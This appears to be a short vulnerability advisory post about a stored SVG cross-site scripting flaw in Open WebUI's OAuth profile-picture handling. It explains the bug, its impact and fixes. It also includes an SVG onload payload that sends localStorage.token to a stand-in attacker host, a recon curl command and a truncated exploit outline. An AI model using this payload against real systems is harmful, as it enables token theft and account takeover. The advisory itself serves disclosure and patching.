Listen to this Post
How the mentioned CVE works: The flaw stems from improper MIME handling and validator bypass. When a user authenticates via OAuth, the function `_process_picture_url` fetches the `picture` claim URL and uses `mimetypes.guess_type` on the URL extension (ignoring the actual `Content-Type` header). For a `.svg` URL, this returns image/svg+xml. The code builds a data URI like `data:image/svg+xml;base64,…` and stores it as the user’s profile image. The OAuth write path (existing-user login and new-user signup) calls SQLAlchemy directly (update_user_profile_image_url_by_id), bypassing the `validate_profile_image_url` Pydantic validator that restricts images to PNG/JPEG/GIF/WebP. Thus an SVG data URI lands in the database unchallenged. The endpoint `GET /api/v1/users/{id}/profile/image` extracts the MIME from the stored data URI (image/svg+xml) and serves it with Content-Disposition: inline. Default security headers (CSP, X-Content-Type-Options) are not set unless env vars are configured. An authenticated victim who clicks a crafted link to that endpoint receives the SVG as a top-level document. The SVG’s `onload` event executes JavaScript in the same origin, allowing exfiltration of `localStorage.token` → full account takeover. This is a trust-boundary error similar to CVE-2025-64496 and CVE-2025-64495.
DailyCVE form:
Platform: Open WebUI
Version: All before fix
Vulnerability: SVG XSS takeover
Severity: Critical
date: 2026-05-14
Prediction: Patch within 14 days
What Undercode Say:
Check if OAuth picture sync is enabled
curl -s https://target.example/api/v1/auths | grep -i "oauth_update_picture_on_login"
Extract JWT from localStorage via crafted SVG
echo '<svg onload="fetch(`https://attacker/x?c=`+localStorage.token)">' > p.svg
Test MIME inference (mimetypes.guess_type)
python3 -c "import mimetypes; print(mimetypes.guess_type('https://a.svg')[bash])"
Exploit:
Attacker hosts SVG with payload, sets as IdP profile picture, logs into Open WebUI (stores SVG data URI). Shares link `/api/v1/users/
Protection from this CVE:
Apply patch forcing MIME whitelist in `_process_picture_url` and get_user_profile_image_by_id. Set env `X_CONTENT_TYPE_OPTIONS=nosniff` and CSP=default-src 'self'. Use upstream `Content-Type` instead of URL extension. Enforce `validate_profile_image_url` at database write layer.
Impact:
Account takeover of any authenticated user who opens the crafted URL. Full access to victim’s chats, API keys, and if victim has `workspace.tools` permission → RCE via installed tools. Also SSRF primitive via `picture` claim pointing to internal metadata services.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
